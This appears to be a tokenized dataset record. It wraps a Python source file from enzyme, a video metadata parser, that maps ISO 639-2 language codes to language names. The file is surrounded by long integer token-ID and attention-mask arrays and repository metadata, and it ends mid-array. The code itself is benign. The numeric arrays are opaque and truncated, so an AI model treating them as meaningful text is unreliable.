272, 5932, 63, 552, 275, 822, 8, 3148, 9, 272, 340, 1748, 63, 1267, 365, 440, 488, 26, 267, 943, 14, 815, 480, 37, 13769, 1958, 1006, 5932, 6656, 2419, 1052, 4110, 315, 2582, 1396, 1674, 908, 8, 827, 63, 1267, 430, 267, 5932, 275, 359, 1027, 367, 4349, 315, 5932, 340, 822, 8, 1027, 9, 2356, 1748, 63, 1267, 61, 267, 943, 14, 815, 20794, 5932, 4829, 687, 769, 402, 15101, 15848, 908, 8, 3148, 63, 552, 446, 822, 8, 3148, 1724, 267, 5932, 63, 552, 275, 822, 8, 3148, 9, 272, 340, 1390, 63, 1267, 365, 440, 488, 26, 267, 943, 14, 815, 480, 37, 13769, 1958, 1006, 5932, 8932, 2419, 1052, 4110, 315, 2582, 1396, 1674, 908, 8, 988, 63, 1267, 430, 267, 5932, 275, 359, 1027, 367, 4349, 315, 5932, 340, 822, 8, 1027, 9, 2695, 1390, 63, 1267, 61, 267, 943, 14, 815, 20794, 5932, 4829, 687, 769, 402, 15101, 15848, 908, 8, 3148, 63, 552, 446, 822, 8, 3148, 1724, 267, 5932, 63, 552, 275, 822, 8, 3148, 9, 339, 340, 822, 8, 3148, 9, 508, 378, 26, 267, 746, 3091, 23759, 1352, 386, 35, 7527, 65, 1726, 360, 1944, 5932, 1911, 1627, 1748, 436, 1390, 17464, 358, 339, 943, 14, 815, 480, 29244, 22432, 402, 2582, 1052, 687, 1052, 7627, 5932, 1396, 1674, 908, 8, 1507, 63, 3148, 12, 5932, 63, 552, 430, 272, 22432, 275, 4263, 63, 1045, 14, 904, 8, 2355, 14, 5095, 8, 3148, 9, 367, 284, 315, 4945, 8, 1507, 63, 3148, 430, 272, 22432, 63, 2638, 275, 5932, 63, 552, 538, 1507, 63, 3148, 272, 4696, 63, 475, 63, 1733, 275, 1109, 8, 25173, 63, 2638, 1182, 413, 25464, 9, 272, 943, 14, 815, 480, 4986, 10906, 4046, 2685, 272, 943, 14, 815, 480, 3259, 402, 3962, 986, 838, 26201, 543, 1627, 2582, 436, 9565, 26, 469, 11941, 5469, 908, 8, 25173, 63, 2638, 430, 272, 943, 14, 815, 480, 1366, 1415, 370, 862, 1006, 15821, 737, 8112, 402, 413, 330, 8148, 265, 12454, 15, 4375, 26, 469, 11941, 93, 83, 1674, 908, 8, 4515, 63, 475, 63, 1733, 430, 272, 943, 14, 815, 480, 1858, 314, 308, 1728, 402, 9132, 12, 2348, 787, 9978, 1163, 17464, 402, 900, 9107, 272, 943, 14, 815, 480, 13165, 315, 1373, 5361, 26, 469, 11941, 93, 83, 1674, 908, 8, 4817, 63, 19216, 63, 23319, 430, 272, 943, 14, 815, 480, 13165, 3967, 22242, 9463, 334, 19825, 413, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jymannob/Sick-Beard
lib/enzyme/language.py
180
15146
# -*- coding: utf-8 -*- # enzyme - Video metadata parser # Copyright 2011-2012 Antoine Bertin <diaoulael@gmail.com> # Copyright 2003-2006 Dirk Meyer <dischi@freevo.org> # # This file is part of enzyme. # # enzyme is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # enzyme is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with enzyme. If not, see <http://www.gnu.org/licenses/>. import re __all__ = ['resolve'] def resolve(code): """ Transform the given (2- or 3-letter) language code to a human readable language name. The return value is a 2-tuple containing the given language code and the language name. If the language code cannot be resolved, name will be 'Unknown (<code>)'. """ if not code: return None, None if not isinstance(code, basestring): raise ValueError('Invalid language code specified by parser') # Take up to 3 letters from the code. code = re.split(r'[^a-z]', code.lower())[0][:3] for spec in codes: if code in spec[:-1]: return code, spec[-1] return code, u'Unknown (%r)' % code # Parsed from http://www.loc.gov/standards/iso639-2/ISO-639-2_utf-8.txt codes = ( ('aar', 'aa', u'Afar'), ('abk', 'ab', u'Abkhazian'), ('ace', u'Achinese'), ('ach', u'Acoli'), ('ada', u'Adangme'), ('ady', u'Adyghe'), ('afa', u'Afro-Asiatic '), ('afh', u'Afrihili'), ('afr', 'af', u'Afrikaans'), ('ain', u'Ainu'), ('aka', 'ak', u'Akan'), ('akk', u'Akkadian'), ('alb', 'sq', u'Albanian'), ('ale', u'Aleut'), ('alg', u'Algonquian languages'), ('alt', u'Southern Altai'), ('amh', 'am', u'Amharic'), ('ang', u'English, Old '), ('anp', u'Angika'), ('apa', u'Apache languages'), ('ara', 'ar', u'Arabic'), ('arc', u'Official Aramaic '), ('arg', 'an', u'Aragonese'), ('arm', 'hy', u'Armenian'), ('arn', u'Mapudungun'), ('arp', u'Arapaho'), ('art', u'Artificial '), ('arw', u'Arawak'), ('asm', 'as', u'Assamese'), ('ast', u'Asturian'), ('ath', u'Athapascan languages'), ('aus', u'Australian languages'), ('ava', 'av', u'Avaric'), ('ave', 'ae', u'Avestan'), ('awa', u'Awadhi'), ('aym', 'ay', u'Aymara'), ('aze', 'az', u'Azerbaijani'), ('bad', u'Banda languages'), ('bai', u'Bamileke languages'), ('bak', 'ba', u'Bashkir'), ('bal', u'Baluchi'), ('bam', 'bm', u'Bambara'), ('ban', u'Balinese'), ('baq', 'eu', u'Basque'), ('bas', u'Basa'), ('bat', u'Baltic '), ('bej', u'Beja'), ('bel', 'be', u'Belarusian'), ('bem', u'Bemba'), ('ben', 'bn', u'Bengali'), ('ber', u'Berber '), ('bho', u'Bhojpuri'), ('bih', 'bh', u'Bihari'), ('bik', u'Bikol'), ('bin', u'Bini'), ('bis', 'bi', u'Bislama'), ('bla', u'Siksika'), ('bnt', u'Bantu '), ('bos', 'bs', u'Bosnian'), ('bra', u'Braj'), ('bre', 'br', u'Breton'), ('btk', u'Batak languages'), ('bua', u'Buriat'), ('bug', u'Buginese'), ('bul', 'bg', u'Bulgarian'), ('bur', 'my', u'Burmese'), ('byn', u'Blin'), ('cad', u'Caddo'), ('cai', u'Central American Indian '), ('car', u'Galibi Carib'), ('cat', 'ca', u'Catalan'), ('cau', u'Caucasian '), ('ceb', u'Cebuano'), ('cel', u'Celtic '), ('cha', 'ch', u'Chamorro'), ('chb', u'Chibcha'), ('che', 'ce', u'Chechen'), ('chg', u'Chagatai'), ('chi', 'zh', u'Chinese'), ('chk', u'Chuukese'), ('chm', u'Mari'), ('chn', u'Chinook jargon'), ('cho', u'Choctaw'), ('chp', u'Chipewyan'), ('chr', u'Cherokee'), ('chu', 'cu', u'Church Slavic'), ('chv', 'cv', u'Chuvash'), ('chy', u'Cheyenne'), ('cmc', u'Chamic languages'), ('cop', u'Coptic'), ('cor', 'kw', u'Cornish'), ('cos', 'co', u'Corsican'), ('cpe', u'Creoles and pidgins, English based '), ('cpf', u'Creoles and pidgins, French-based '), ('cpp', u'Creoles and pidgins, Portuguese-based '), ('cre', 'cr', u'Cree'), ('crh', u'Crimean Tatar'), ('crp', u'Creoles and pidgins '), ('csb', u'Kashubian'), ('cus', u'Cushitic '), ('cze', 'cs', u'Czech'), ('dak', u'Dakota'), ('dan', 'da', u'Danish'), ('dar', u'Dargwa'), ('day', u'Land Dayak languages'), ('del', u'Delaware'), ('den', u'Slave '), ('dgr', u'Dogrib'), ('din', u'Dinka'), ('div', 'dv', u'Divehi'), ('doi', u'Dogri'), ('dra', u'Dravidian '), ('dsb', u'Lower Sorbian'), ('dua', u'Duala'), ('dum', u'Dutch, Middle '), ('dut', 'nl', u'Dutch'), ('dyu', u'Dyula'), ('dzo', 'dz', u'Dzongkha'), ('efi', u'Efik'), ('egy', u'Egyptian '), ('eka', u'Ekajuk'), ('elx', u'Elamite'), ('eng', 'en', u'English'), ('enm', u'English, Middle '), ('epo', 'eo', u'Esperanto'), ('est', 'et', u'Estonian'), ('ewe', 'ee', u'Ewe'), ('ewo', u'Ewondo'), ('fan', u'Fang'), ('fao', 'fo', u'Faroese'), ('fat', u'Fanti'), ('fij', 'fj', u'Fijian'), ('fil', u'Filipino'), ('fin', 'fi', u'Finnish'), ('fiu', u'Finno-Ugrian '), ('fon', u'Fon'), ('fre', 'fr', u'French'), ('frm', u'French, Middle '), ('fro', u'French, Old '), ('frr', u'Northern Frisian'), ('frs', u'Eastern Frisian'), ('fry', 'fy', u'Western Frisian'), ('ful', 'ff', u'Fulah'), ('fur', u'Friulian'), ('gaa', u'Ga'), ('gay', u'Gayo'), ('gba', u'Gbaya'), ('gem', u'Germanic '), ('geo', 'ka', u'Georgian'), ('ger', 'de', u'German'), ('gez', u'Geez'), ('gil', u'Gilbertese'), ('gla', 'gd', u'Gaelic'), ('gle', 'ga', u'Irish'), ('glg', 'gl', u'Galician'), ('glv', 'gv', u'Manx'), ('gmh', u'German, Middle High '), ('goh', u'German, Old High '), ('gon', u'Gondi'), ('gor', u'Gorontalo'), ('got', u'Gothic'), ('grb', u'Grebo'), ('grc', u'Greek, Ancient '), ('gre', 'el', u'Greek, Modern '), ('grn', 'gn', u'Guarani'), ('gsw', u'Swiss German'), ('guj', 'gu', u'Gujarati'), ('gwi', u"Gwich'in"), ('hai', u'Haida'), ('hat', 'ht', u'Haitian'), ('hau', 'ha', u'Hausa'), ('haw', u'Hawaiian'), ('heb', 'he', u'Hebrew'), ('her', 'hz', u'Herero'), ('hil', u'Hiligaynon'), ('him', u'Himachali'), ('hin', 'hi', u'Hindi'), ('hit', u'Hittite'), ('hmn', u'Hmong'), ('hmo', 'ho', u'Hiri Motu'), ('hsb', u'Upper Sorbian'), ('hun', 'hu', u'Hungarian'), ('hup', u'Hupa'), ('iba', u'Iban'), ('ibo', 'ig', u'Igbo'), ('ice', 'is', u'Icelandic'), ('ido', 'io', u'Ido'), ('iii', 'ii', u'Sichuan Yi'), ('ijo', u'Ijo languages'), ('iku', 'iu', u'Inuktitut'), ('ile', 'ie', u'Interlingue'), ('ilo', u'Iloko'), ('ina', 'ia', u'Interlingua '), ('inc', u'Indic '), ('ind', 'id', u'Indonesian'), ('ine', u'Indo-European '), ('inh', u'Ingush'), ('ipk', 'ik', u'Inupiaq'), ('ira', u'Iranian '), ('iro', u'Iroquoian languages'), ('ita', 'it', u'Italian'), ('jav', 'jv', u'Javanese'), ('jbo', u'Lojban'), ('jpn', 'ja', u'Japanese'), ('jpr', u'Judeo-Persian'), ('jrb', u'Judeo-Arabic'), ('kaa', u'Kara-Kalpak'), ('kab', u'Kabyle'), ('kac', u'Kachin'), ('kal', 'kl', u'Kalaallisut'), ('kam', u'Kamba'), ('kan', 'kn', u'Kannada'), ('kar', u'Karen languages'), ('kas', 'ks', u'Kashmiri'), ('kau', 'kr', u'Kanuri'), ('kaw', u'Kawi'), ('kaz', 'kk', u'Kazakh'), ('kbd', u'Kabardian'), ('kha', u'Khasi'), ('khi', u'Khoisan '), ('khm', 'km', u'Central Khmer'), ('kho', u'Khotanese'), ('kik', 'ki', u'Kikuyu'), ('kin', 'rw', u'Kinyarwanda'), ('kir', 'ky', u'Kirghiz'), ('kmb', u'Kimbundu'), ('kok', u'Konkani'), ('kom', 'kv', u'Komi'), ('kon', 'kg', u'Kongo'), ('kor', 'ko', u'Korean'), ('kos', u'Kosraean'), ('kpe', u'Kpelle'), ('krc', u'Karachay-Balkar'), ('krl', u'Karelian'), ('kro', u'Kru languages'), ('kru', u'Kurukh'), ('kua', 'kj', u'Kuanyama'), ('kum', u'Kumyk'), ('kur', 'ku', u'Kurdish'), ('kut', u'Kutenai'), ('lad', u'Ladino'), ('lah', u'Lahnda'), ('lam', u'Lamba'), ('lao', 'lo', u'Lao'), ('lat', 'la', u'Latin'), ('lav', 'lv', u'Latvian'), ('lez', u'Lezghian'), ('lim', 'li', u'Limburgan'), ('lin', 'ln', u'Lingala'), ('lit', 'lt', u'Lithuanian'), ('lol', u'Mongo'), ('loz', u'Lozi'), ('ltz', 'lb', u'Luxembourgish'), ('lua', u'Luba-Lulua'), ('lub', 'lu', u'Luba-Katanga'), ('lug', 'lg', u'Ganda'), ('lui', u'Luiseno'), ('lun', u'Lunda'), ('luo', u'Luo '), ('lus', u'Lushai'), ('mac', 'mk', u'Macedonian'), ('mad', u'Madurese'), ('mag', u'Magahi'), ('mah', 'mh', u'Marshallese'), ('mai', u'Maithili'), ('mak', u'Makasar'), ('mal', 'ml', u'Malayalam'), ('man', u'Mandingo'), ('mao', 'mi', u'Maori'), ('map', u'Austronesian '), ('mar', 'mr', u'Marathi'), ('mas', u'Masai'), ('may', 'ms', u'Malay'), ('mdf', u'Moksha'), ('mdr', u'Mandar'), ('men', u'Mende'), ('mga', u'Irish, Middle '), ('mic', u"Mi'kmaq"), ('min', u'Minangkabau'), ('mis', u'Uncoded languages'), ('mkh', u'Mon-Khmer '), ('mlg', 'mg', u'Malagasy'), ('mlt', 'mt', u'Maltese'), ('mnc', u'Manchu'), ('mni', u'Manipuri'), ('mno', u'Manobo languages'), ('moh', u'Mohawk'), ('mol', 'mo', u'Moldavian'), ('mon', 'mn', u'Mongolian'), ('mos', u'Mossi'), ('mul', u'Multiple languages'), ('mun', u'Munda languages'), ('mus', u'Creek'), ('mwl', u'Mirandese'), ('mwr', u'Marwari'), ('myn', u'Mayan languages'), ('myv', u'Erzya'), ('nah', u'Nahuatl languages'), ('nai', u'North American Indian'), ('nap', u'Neapolitan'), ('nau', 'na', u'Nauru'), ('nav', 'nv', u'Navajo'), ('nbl', 'nr', u'Ndebele, South'), ('nde', 'nd', u'Ndebele, North'), ('ndo', 'ng', u'Ndonga'), ('nds', u'Low German'), ('nep', 'ne', u'Nepali'), ('new', u'Nepal Bhasa'), ('nia', u'Nias'), ('nic', u'Niger-Kordofanian '), ('niu', u'Niuean'), ('nno', 'nn', u'Norwegian Nynorsk'), ('nob', 'nb', u'Bokm\xe5l, Norwegian'), ('nog', u'Nogai'), ('non', u'Norse, Old'), ('nor', 'no', u'Norwegian'), ('nqo', u"N'Ko"), ('nso', u'Pedi'), ('nub', u'Nubian languages'), ('nwc', u'Classical Newari'), ('nya', 'ny', u'Chichewa'), ('nym', u'Nyamwezi'), ('nyn', u'Nyankole'), ('nyo', u'Nyoro'), ('nzi', u'Nzima'), ('oci', 'oc', u'Occitan '), ('oji', 'oj', u'Ojibwa'), ('ori', 'or', u'Oriya'), ('orm', 'om', u'Oromo'), ('osa', u'Osage'), ('oss', 'os', u'Ossetian'), ('ota', u'Turkish, Ottoman '), ('oto', u'Otomian languages'), ('paa', u'Papuan '), ('pag', u'Pangasinan'), ('pal', u'Pahlavi'), ('pam', u'Pampanga'), ('pan', 'pa', u'Panjabi'), ('pap', u'Papiamento'), ('pau', u'Palauan'), ('peo', u'Persian, Old '), ('per', 'fa', u'Persian'), ('phi', u'Philippine '), ('phn', u'Phoenician'), ('pli', 'pi', u'Pali'), ('pol', 'pl', u'Polish'), ('pon', u'Pohnpeian'), ('por', 'pt', u'Portuguese'), ('pra', u'Prakrit languages'), ('pro', u'Proven\xe7al, Old '), ('pus', 'ps', u'Pushto'), ('qaa-qtz', u'Reserved for local use'), ('que', 'qu', u'Quechua'), ('raj', u'Rajasthani'), ('rap', u'Rapanui'), ('rar', u'Rarotongan'), ('roa', u'Romance '), ('roh', 'rm', u'Romansh'), ('rom', u'Romany'), ('rum', 'ro', u'Romanian'), ('run', 'rn', u'Rundi'), ('rup', u'Aromanian'), ('rus', 'ru', u'Russian'), ('sad', u'Sandawe'), ('sag', 'sg', u'Sango'), ('sah', u'Yakut'), ('sai', u'South American Indian '), ('sal', u'Salishan languages'), ('sam', u'Samaritan Aramaic'), ('san', 'sa', u'Sanskrit'), ('sas', u'Sasak'), ('sat', u'Santali'), ('scc', 'sr', u'Serbian'), ('scn', u'Sicilian'), ('sco', u'Scots'), ('scr', 'hr', u'Croatian'), ('sel', u'Selkup'), ('sem', u'Semitic '), ('sga', u'Irish, Old '), ('sgn', u'Sign Languages'), ('shn', u'Shan'), ('sid', u'Sidamo'), ('sin', 'si', u'Sinhala'), ('sio', u'Siouan languages'), ('sit', u'Sino-Tibetan '), ('sla', u'Slavic '), ('slo', 'sk', u'Slovak'), ('slv', 'sl', u'Slovenian'), ('sma', u'Southern Sami'), ('sme', 'se', u'Northern Sami'), ('smi', u'Sami languages '), ('smj', u'Lule Sami'), ('smn', u'Inari Sami'), ('smo', 'sm', u'Samoan'), ('sms', u'Skolt Sami'), ('sna', 'sn', u'Shona'), ('snd', 'sd', u'Sindhi'), ('snk', u'Soninke'), ('sog', u'Sogdian'), ('som', 'so', u'Somali'), ('son', u'Songhai languages'), ('sot', 'st', u'Sotho, Southern'), ('spa', 'es', u'Spanish'), ('srd', 'sc', u'Sardinian'), ('srn', u'Sranan Tongo'), ('srr', u'Serer'), ('ssa', u'Nilo-Saharan '), ('ssw', 'ss', u'Swati'), ('suk', u'Sukuma'), ('sun', 'su', u'Sundanese'), ('sus', u'Susu'), ('sux', u'Sumerian'), ('swa', 'sw', u'Swahili'), ('swe', 'sv', u'Swedish'), ('syc', u'Classical Syriac'), ('syr', u'Syriac'), ('tah', 'ty', u'Tahitian'), ('tai', u'Tai '), ('tam', 'ta', u'Tamil'), ('tat', 'tt', u'Tatar'), ('tel', 'te', u'Telugu'), ('tem', u'Timne'), ('ter', u'Tereno'), ('tet', u'Tetum'), ('tgk', 'tg', u'Tajik'), ('tgl', 'tl', u'Tagalog'), ('tha', 'th', u'Thai'), ('tib', 'bo', u'Tibetan'), ('tig', u'Tigre'), ('tir', 'ti', u'Tigrinya'), ('tiv', u'Tiv'), ('tkl', u'Tokelau'), ('tlh', u'Klingon'), ('tli', u'Tlingit'), ('tmh', u'Tamashek'), ('tog', u'Tonga '), ('ton', 'to', u'Tonga '), ('tpi', u'Tok Pisin'), ('tsi', u'Tsimshian'), ('tsn', 'tn', u'Tswana'), ('tso', 'ts', u'Tsonga'), ('tuk', 'tk', u'Turkmen'), ('tum', u'Tumbuka'), ('tup', u'Tupi languages'), ('tur', 'tr', u'Turkish'), ('tut', u'Altaic '), ('tvl', u'Tuvalu'), ('twi', 'tw', u'Twi'), ('tyv', u'Tuvinian'), ('udm', u'Udmurt'), ('uga', u'Ugaritic'), ('uig', 'ug', u'Uighur'), ('ukr', 'uk', u'Ukrainian'), ('umb', u'Umbundu'), ('und', u'Undetermined'), ('urd', 'ur', u'Urdu'), ('uzb', 'uz', u'Uzbek'), ('vai', u'Vai'), ('ven', 've', u'Venda'), ('vie', 'vi', u'Vietnamese'), ('vol', 'vo', u'Volap\xfck'), ('vot', u'Votic'), ('wak', u'Wakashan languages'), ('wal', u'Walamo'), ('war', u'Waray'), ('was', u'Washo'), ('wel', 'cy', u'Welsh'), ('wen', u'Sorbian languages'), ('wln', 'wa', u'Walloon'), ('wol', 'wo', u'Wolof'), ('xal', u'Kalmyk'), ('xho', 'xh', u'Xhosa'), ('yao', u'Yao'), ('yap', u'Yapese'), ('yid', 'yi', u'Yiddish'), ('yor', 'yo', u'Yoruba'), ('ypk', u'Yupik languages'), ('zap', u'Zapotec'), ('zbl', u'Blissymbols'), ('zen', u'Zenaga'), ('zha', 'za', u'Zhuang'), ('znd', u'Zande languages'), ('zul', 'zu', u'Zulu'), ('zun', u'Zuni'), ('zxx', u'No linguistic content'), ('zza', u'Zaza'), )
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 655, 3605, 278, 446, 15709, 3341, 1798, 199, 3, 1898, 7760, 13, 7409, 437, 29680, 1132, 23207, 1346, 665, 2391, 79, 7586, 352, 32, 6799, 14, 957, 30, 199, 3, 1898, 13004, 13, 7968, 25866, 75, 3194, 23009, 665, 2297, 13175, 32, 4624, 2392, 14, 1308, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 655, 3605, 278, 14, 199, 3, 199, 3, 655, 3605, 278, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 1334, 199, 3, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 655, 3605, 278, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 655, 3605, 278, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 646, 295, 199, 199, 363, 452, 363, 275, 788, 6983, 418, 421, 199, 318, 7512, 8, 600, 304, 272, 408, 272, 19463, 314, 1627, 334, 18, 13, 503, 650, 13, 9269, 9, 2637, 1233, 370, 282, 11779, 12701, 272, 2637, 536, 14, 221, 710, 372, 574, 365, 282, 499, 13, 2960, 3035, 314, 1627, 272, 2637, 1233, 436, 314, 2637, 536, 14, 221, 982, 314, 2637, 1233, 3913, 506, 272, 12152, 12, 536, 911, 506, 283, 5912, 8642, 600, 18956, 1370, 272, 408, 272, 340, 440, 1233, 26, 267, 372, 488, 12, 488, 272, 340, 440, 1228, 8, 600, 12, 7116, 304, 267, 746, 1722, 360, 3364, 2637, 1233, 2013, 701, 1798, 358, 339, 327, 18146, 1536, 370, 650, 14435, 687, 314, 1233, 14, 272, 1233, 275, 295, 14, 1294, 8, 82, 16122, 65, 13, 90, 4300, 1233, 14, 2325, 18756, 16, 19663, 19, 61, 339, 367, 3158, 315, 9479, 26, 267, 340, 1233, 315, 3158, 4439, 17, 2189, 288, 372, 1233, 12, 3158, 1988, 17, 61, 339, 372, 1233, 12, 399, 7, 5912, 4366, 82, 3171, 450, 1233, 421, 199, 3, 2235, 939, 687, 1455, 921, 1544, 14, 2102, 14, 16294, 15, 7935, 5596, 15, 4595, 26723, 13, 18, 15, 7336, 13, 26723, 13, 18, 63, 1624, 13, 24, 14, 2424, 199, 6021, 275, 334, 2043, 661, 65, 285, 297, 283, 2158, 297, 399, 7, 14799, 285, 659, 2043, 661, 371, 75, 297, 283, 371, 297, 399, 7, 5583, 75, 22133, 5653, 659, 2043, 661, 7984, 297, 399, 7, 33, 4419, 261, 659, 2043, 661, 1225, 297, 399, 7, 33, 331, 317, 659, 2043, 661, 10641, 297, 399, 7, 2767, 621, 278, 659, 2043, 661, 350, 89, 297, 399, 7, 2767, 5016, 426, 659, 2043, 661, 65, 667, 297, 399, 7, 14799, 293, 13, 13878, 764, 17748, 2043, 661, 2756, 72, 297, 399, 7, 14799, 322, 72, 1638, 659, 2043, 661, 2756, 82, 297, 283, 2756, 297, 399, 7, 14799, 322, 7351, 796, 659, 2043, 661, 1581, 297, 399, 7, 33, 262, 85, 659, 2043, 661, 24685, 297, 283, 1151, 297, 399, 7, 33, 29305, 659, 2043, 661, 1151, 75, 297, 399, 7, 33, 75, 7351, 6268, 659, 2043, 661, 279, 66, 297, 283, 3526, 297, 399, 7, 2439, 13206, 5653, 659, 2043, 661, 1895, 297, 399, 7, 33, 274, 337, 659, 2043, 661, 6731, 297, 399, 7, 2439, 27719, 783, 290, 10815, 659, 2043, 661, 4478, 297, 399, 7, 51, 810, 728, 78, 4580, 502, 73, 659, 2043, 661, 455, 72, 297, 283, 455, 297, 399, 7, 24566, 8210, 530, 659, 2043, 661, 621, 297, 399, 7, 19410, 12, 21238, 17748, 2043, 661, 290, 80, 297, 399, 7, 2493, 71, 26966, 659, 2043, 661, 65, 387, 297, 399, 7, 28993, 10815, 659, 2043, 661, 17956, 297, 283, 285, 297, 399, 7, 33, 24176, 659, 2043, 661, 9912, 297, 399, 7, 3466, 16714, 437, 345, 391, 530, 17748, 2043, 661, 1273, 297, 283, 290, 297, 399, 7, 33, 2527, 368, 261, 659, 2043, 661, 5362, 297, 283, 3577, 297, 399, 7, 1596, 22562, 659, 2043, 661, 1060, 297, 399, 7, 2956, 1181, 10335, 324, 659, 2043, 661, 12868, 297, 399, 7, 33, 345, 387, 526, 659, 2043, 661, 580, 297, 399, 7, 1596, 32033, 17748, 2043, 661, 285, 87, 297, 399, 7, 33, 345, 758, 75, 659, 2043, 661, 11374, 297, 283, 305, 297, 399, 7, 9824, 313, 261, 659, 2043, 661, 1810, 297, 399, 7, 33, 270, 2302, 290, 659, 2043, 661, 1619, 297, 399, 7, 33, 273, 439, 305, 2425, 10815, 659, 2043, 661, 65, 527, 297, 399, 7, 33, 11409, 25861, 10815, 659, 2043, 661, 3812, 297, 283, 1214, 297, 399, 7, 33, 1391, 530, 659, 2043, 661, 811, 297, 283, 3624, 297, 399, 7, 33, 432, 9746, 659, 2043, 661, 65, 758, 297, 399, 7, 26917, 350, 5812, 659, 2043, 661, 1187, 77, 297, 283, 1187, 297, 399, 7, 33, 89, 4584, 65, 659, 2043, 661, 65, 806, 297, 283, 4651, 297, 399, 7, 33, 2282, 2470, 7879, 26455, 659, 2043, 661, 4087, 297, 399, 7, 11675, 65, 10815, 659, 2043, 661, 2470, 73, 297, 399, 7, 34, 455, 441, 415, 10815, 659, 2043, 661, 27162, 297, 283, 2470, 297, 399, 7, 34, 1119, 75, 723, 659, 2043, 661, 4982, 297, 399, 7, 13129, 2133, 73, 659, 2043, 661, 21112, 297, 283, 12648, 297, 399, 7, 34, 455, 1700, 65, 659, 2043, 661, 13206, 297, 399, 7, 13129, 26883, 659, 2043, 661, 2470, 81, 297, 283, 16913, 297, 399, 7, 34, 305, 544, 659, 2043, 661, 31917, 297, 399, 7, 34, 30253, 659, 2043, 661, 13475, 297, 399, 7, 13129, 764, 17748, 2043, 661, 1235, 74, 297, 399, 7, 3655, 3387, 659, 2043, 661, 20621, 297, 283, 1235, 297, 399, 7, 34, 352, 285, 85, 6214, 659, 2043, 661, 1235, 77, 297, 399, 7 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 655, 3605, 278, 446, 15709, 3341, 1798, 199, 3, 1898, 7760, 13, 7409, 437, 29680, 1132, 23207, 1346, 665, 2391, 79, 7586, 352, 32, 6799, 14, 957, 30, 199, 3, 1898, 13004, 13, 7968, 25866, 75, 3194, 23009, 665, 2297, 13175, 32, 4624, 2392, 14, 1308, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 655, 3605, 278, 14, 199, 3, 199, 3, 655, 3605, 278, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 1334, 199, 3, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 655, 3605, 278, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 655, 3605, 278, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 646, 295, 199, 199, 363, 452, 363, 275, 788, 6983, 418, 421, 199, 318, 7512, 8, 600, 304, 272, 408, 272, 19463, 314, 